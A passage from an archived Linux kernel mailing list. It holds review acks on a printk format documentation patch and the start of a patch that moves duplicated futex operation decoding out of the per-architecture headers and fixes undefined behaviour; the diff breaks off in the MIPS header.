         bC4FIqYNh2gimb60oeSwN/73rr/Z3BJ45tjmGHqdAoftE+893q5Kv93F7lawYY3GhyeX
         xh2jyOEVoZ5nCTdp0FeNati+9WGWYOOa+UuO+4zUerYoSeRuVYvGH/hmob6jodoca+Qa
         wjCSLY67eOJuTrn3sMbAU6c+hsYOD4LAZdvDUCRb1jZtT0JAmzP6UzcHwf4dD5n1LGDD
         5nW+YLor+lG1aVUFZqDy3hP+AV3u+hQWb6M7BDsvCYiACFJ45cHb42EG45zuHi1/JvM6
         E26w==
X-Gm-Message-State: AHYfb5jUoeaV5oNkyp3miC0Z4nO7nXz97yITWNJBxnmeuoTlSDa2MXx2
        rqEx0c8N/8K8Ww==
X-Received: by 10.99.39.135 with SMTP id n129mr4726378pgn.36.1503535246869;
        Wed, 23 Aug 2017 17:40:46 -0700 (PDT)
Original-Received: from localhost ([175.223.32.132])
        by smtp.gmail.com with ESMTPSA id v11sm5432218pfi.52.2017.08.23.17.40.44
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 23 Aug 2017 17:40:45 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20170823144824.GE27895@pathway.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27748 gmane.linux.kernel:2556121
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27748>

On (08/23/17 16:48), Petr Mladek wrote:
[..]
> Sometimes people seems unclear when to use the %pS or %pF printk format.
> For example, see commit 51d96dc2e2dc ("random: fix warning message on ia64
> and parisc") which fixed such a wrong format string.
> 
> The documentation should be more clear about the difference.
> Also examples might help to avoid some typical mistakes.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> [pmladek@suse.com: Restructure the entire section]
> Signed-off-by: Petr Mladek <pmladek@suse.com>

looks great.

FWIW,
Reviewed-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Steven Rostedt <rostedt@goodmis.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] printk-formats.txt: Add examples for %pS and %pF
Date: Wed, 23 Aug 2017 22:11:07 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20170823221107.395bbbf3@gandalf.local.home>
References: <20170810173533.GA11600@ls3530.fritz.box>
        <20170811001521.GA520@jagdpanzerIV.localdomain>
        <47718712-9eb2-8ad7-965e-d0971d07e985@gmx.de>
        <20170815113625.GA2738@pathway.suse.cz>
        <d5fda170-e95b-024e-59ad-650b4db78ba6@gmx.de>
        <20170823144824.GE27895@pathway.suse.cz>
        <20170824004103.GA3569@jagdpanzerIV.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503540675 11727 195.159.176.226 (24 Aug 2017 02:11:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 24 Aug 2017 02:11:15 +0000 (UTC)
Cc: Petr Mladek <pmladek@suse.com>, Helge Deller <deller@gmx.de>,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 24 04:11:10 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dkhbs-00034r-Vv
	for glpp-linux-parisc@m.gmane.org; Thu, 24 Aug 2017 04:11:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751076AbdHXCLL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 23 Aug 2017 22:11:11 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:60064 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751004AbdHXCLL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 23 Aug 2017 22:11:11 -0400
Original-Received: from gandalf.local.home (cpe-67-246-153-56.stny.res.rr.com [67.246.153.56])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 38D3721A29;
        Thu, 24 Aug 2017 02:11:10 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 38D3721A29
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=goodmis.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=rostedt@goodmis.org
In-Reply-To: <20170824004103.GA3569@jagdpanzerIV.localdomain>
X-Mailer: Claws Mail 3.14.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27749 gmane.linux.kernel:2556167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27749>

On Thu, 24 Aug 2017 09:41:03 +0900
Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com> wrote:

> On (08/23/17 16:48), Petr Mladek wrote:
> [..]
> > Sometimes people seems unclear when to use the %pS or %pF printk format.
> > For example, see commit 51d96dc2e2dc ("random: fix warning message on ia64
> > and parisc") which fixed such a wrong format string.
> > 
> > The documentation should be more clear about the difference.
> > Also examples might help to avoid some typical mistakes.
> > 
> > Signed-off-by: Helge Deller <deller@gmx.de>
> > [pmladek@suse.com: Restructure the entire section]
> > Signed-off-by: Petr Mladek <pmladek@suse.com>  
> 
> looks great.
> 
> FWIW,
> Reviewed-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>

Also,

Acked-by: Steven Rostedt (VMware) <rostedt@goodmis.org>

-- Steve
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 1/1] futex: remove duplicated code and fix UB
Date: Thu, 24 Aug 2017 09:31:05 +0200
Lines: 1189
Approved: news@gmane.org
Message-ID: <20170824073105.3901-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503559901 11308 195.159.176.226 (24 Aug 2017 07:31:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 24 Aug 2017 07:31:41 +0000 (UTC)
Cc: mingo@redhat.com, dvhart@infradead.org, peterz@infradead.org,
        linux-kernel@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <ben
To: tglx@linutronix.de
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 24 09:31:29 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dkmbm-0000Ck-A9
	for glk-linux-kernel-3@m.gmane.org; Thu, 24 Aug 2017 09:31:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752236AbdHXHbX (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 24 Aug 2017 03:31:23 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:45314 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751274AbdHXHbQ (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 24 Aug 2017 03:31:16 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 1D523AD40;
        Thu, 24 Aug 2017 07:31:13 +0000 (UTC)
X-Mailer: git-send-email 2.14.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2556324 gmane.linux.ports.alpha:4372 gmane.linux.kernel.arc:2863 gmane.linux.ports.arm.kernel:599873 gmane.linux.ports.hexagon:1372 gmane.linux.ports.ia64:28081 gmane.linux.ports.mips.general:61007 gmane.linux.ports.parisc:27750 gmane.linux.ports.ppc64.devel:146950 gmane.linux.ports.sh.devel:55743 gmane.linux.ports.sparc:26410 gmane.linux.kernel.cross-arch:39007
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2556324>

There is code duplicated over all architecture's headers for
futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
and comparison of the result.

Remove this duplication and leave up to the arches only the needed
assembly which is now in arch_futex_atomic_op_inuser.

This effectively distributes the Will Deacon's arm64 fix for undefined
behaviour reported by UBSAN to all architectures. The fix was done in
commit 5f16a046f8e1 (arm64: futex: Fix undefined behaviour with
FUTEX_OP_OPARG_SHIFT usage). Look there for an example dump.

And as suggested by Thomas, check for negative oparg too, because it was
also reported to cause undefined behaviour report.

Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
remove pointless access_ok() checks") as access_ok there returns true.
We introduce it back to the helper for the sake of simplicity (it gets
optimized away anyway).

[v2]
- check also for negative values
- wait for Will's fix to be in upstream

Signed-off-by: Jiri Slaby <jslaby@suse.cz>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Vineet Gupta <vgupta@synopsys.com>
Acked-by: Russell King <rmk+kernel@armlinux.org.uk>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Will Deacon <will.deacon@arm.com>
Reviewed-by: Darren Hart (VMware) <dvhart@infradead.org>
Cc: Richard Kuo <rkuo@codeaurora.org>
Cc: Tony Luck <tony.luck@intel.com>
Cc: Fenghua Yu <fenghua.yu@intel.com>
Cc: Michal Simek <monstr@monstr.eu>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Jonas Bonn <jonas@southpole.se>
Cc: Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>
Cc: Stafford Horne <shorne@gmail.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Paul Mackerras <paulus@samba.org>
Acked-by: Michael Ellerman <mpe@ellerman.id.au> (powerpc)
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com> [s390]
Cc: Yoshinori Sato <ysato@users.sourceforge.jp>
Cc: Rich Felker <dalias@libc.org>
Cc: "David S. Miller" <davem@davemloft.net>
Acked-by: Chris Metcalf <cmetcalf@mellanox.com> [for tile]
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: Chris Zankel <chris@zankel.net>
Cc: Max Filippov <jcmvbkbc@gmail.com>
Cc: Arnd Bergmann <arnd@arndb.de>
Cc: <x86@kernel.org>
Cc: <linux-alpha@vger.kernel.org>
Cc: <linux-kernel@vger.kernel.org>
Cc: <linux-snps-arc@lists.infradead.org>
Cc: <linux-arm-kernel@lists.infradead.org>
Cc: <linux-hexagon@vger.kernel.org>
Cc: <linux-ia64@vger.kernel.org>
Cc: <linux-mips@linux-mips.org>
Cc: <openrisc@lists.librecores.org>
Cc: <linux-parisc@vger.kernel.org>
Cc: <linuxppc-dev@lists.ozlabs.org>
Cc: <linux-s390@vger.kernel.org>
Cc: <linux-sh@vger.kernel.org>
Cc: <sparclinux@vger.kernel.org>
Cc: <linux-xtensa@linux-xtensa.org>
Cc: <linux-arch@vger.kernel.org>
---
 arch/alpha/include/asm/futex.h      | 26 ++++---------------
 arch/arc/include/asm/futex.h        | 40 ++++-------------------------
 arch/arm/include/asm/futex.h        | 26 +++----------------
 arch/arm64/include/asm/futex.h      | 26 +++----------------
 arch/frv/include/asm/futex.h        |  3 ++-
 arch/frv/kernel/futex.c             | 27 +++-----------------
 arch/hexagon/include/asm/futex.h    | 38 +++-------------------------
 arch/ia64/include/asm/futex.h       | 25 +++----------------
 arch/microblaze/include/asm/futex.h | 38 +++-------------------------
 arch/mips/include/asm/futex.h       | 25 +++----------------
 arch/openrisc/include/asm/futex.h   | 39 +++--------------------------
 arch/parisc/include/asm/futex.h     | 26 +++----------------
 arch/powerpc/include/asm/futex.h    | 26 ++++---------------
 arch/s390/include/asm/futex.h       | 23 ++++-------------
 arch/sh/include/asm/futex.h         | 26 +++----------------
 arch/sparc/include/asm/futex_64.h   | 26 ++++---------------
 arch/tile/include/asm/futex.h       | 40 ++++-------------------------
 arch/x86/include/asm/futex.h        | 40 ++++-------------------------
 arch/xtensa/include/asm/futex.h     | 27 ++++----------------
 include/asm-generic/futex.h         | 50 +++++++------------------------------
 kernel/futex.c                      | 39 +++++++++++++++++++++++++++++
 21 files changed, 130 insertions(+), 506 deletions(-)

diff --git a/arch/alpha/include/asm/futex.h b/arch/alpha/include/asm/futex.h
index fb01dfb760c2..05a70edd57b6 100644
--- a/arch/alpha/include/asm/futex.h
+++ b/arch/alpha/include/asm/futex.h
@@ -25,18 +25,10 @@
 	:	"r" (uaddr), "r"(oparg)				\
 	:	"memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -62,17 +54,9 @@ static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arc/include/asm/futex.h b/arch/arc/include/asm/futex.h
index 11e1b1f3acda..eb887dd13e74 100644
--- a/arch/arc/include/asm/futex.h
+++ b/arch/arc/include/asm/futex.h
@@ -73,20 +73,11 @@
 
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
-
 #ifndef CONFIG_ARC_HAS_LLSC
 	preempt_disable();	/* to guarantee atomic r-m-w of futex op */
 #endif
@@ -118,30 +109,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arm/include/asm/futex.h b/arch/arm/include/asm/futex.h
index 6795368ad023..cc414382dab4 100644
--- a/arch/arm/include/asm/futex.h
+++ b/arch/arm/include/asm/futex.h
@@ -128,20 +128,10 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 #endif /* !SMP */
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 #ifndef CONFIG_SMP
 	preempt_disable();
 #endif
@@ -172,17 +162,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 	preempt_enable();
 #endif
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/arm64/include/asm/futex.h b/arch/arm64/include/asm/futex.h
index f32b42e8725d..5bb2fd4674e7 100644
--- a/arch/arm64/include/asm/futex.h
+++ b/arch/arm64/include/asm/futex.h
@@ -48,20 +48,10 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (int)(encoded_op << 8) >> 20;
-	int cmparg = (int)(encoded_op << 20) >> 20;
 	int oldval = 0, ret, tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1U << (oparg & 0x1f);
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -91,17 +81,9 @@ futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/frv/include/asm/futex.h b/arch/frv/include/asm/futex.h
index 2e1da71e27a4..ab346f5f8820 100644
--- a/arch/frv/include/asm/futex.h
+++ b/arch/frv/include/asm/futex.h
@@ -7,7 +7,8 @@
 #include <asm/errno.h>
 #include <linux/uaccess.h>
 
-extern int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr);
+extern int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr);
 
 static inline int
 futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
diff --git a/arch/frv/kernel/futex.c b/arch/frv/kernel/futex.c
index d155ca9e5098..37f7b2bf7f73 100644
--- a/arch/frv/kernel/futex.c
+++ b/arch/frv/kernel/futex.c
@@ -186,20 +186,10 @@ static inline int atomic_futex_op_xchg_xor(int oparg, u32 __user *uaddr, int *_o
 /*
  * do the futex operations
  */
-int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+int arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -225,18 +215,9 @@ int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS; break;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 
-} /* end futex_atomic_op_inuser() */
+} /* end arch_futex_atomic_op_inuser() */
diff --git a/arch/hexagon/include/asm/futex.h b/arch/hexagon/include/asm/futex.h
index 7e597f8434da..c607b77c8215 100644
--- a/arch/hexagon/include/asm/futex.h
+++ b/arch/hexagon/include/asm/futex.h
@@ -31,18 +31,9 @@
 
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -72,30 +63,9 @@ futex_atomic_op_inuser(int encoded_op, int __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/ia64/include/asm/futex.h b/arch/ia64/include/asm/futex.h
index 76acbcd5c060..6d67dc1eaf2b 100644
--- a/arch/ia64/include/asm/futex.h
+++ b/arch/ia64/include/asm/futex.h
@@ -45,18 +45,9 @@ do {									\
 } while (0)
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -84,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/microblaze/include/asm/futex.h b/arch/microblaze/include/asm/futex.h
index 01848f056f43..a9dad9e5e132 100644
--- a/arch/microblaze/include/asm/futex.h
+++ b/arch/microblaze/include/asm/futex.h
@@ -29,18 +29,9 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,30 +57,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/mips/include/asm/futex.h b/arch/mips/include/asm/futex.h
index 1de190bdfb9c..a9e61ea54ca9 100644
--- a/arch/mips/include/asm/futex.h
+++ b/arch/mips/include/asm/futex.h
@@ -83,18 +83,9 @@
 }
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
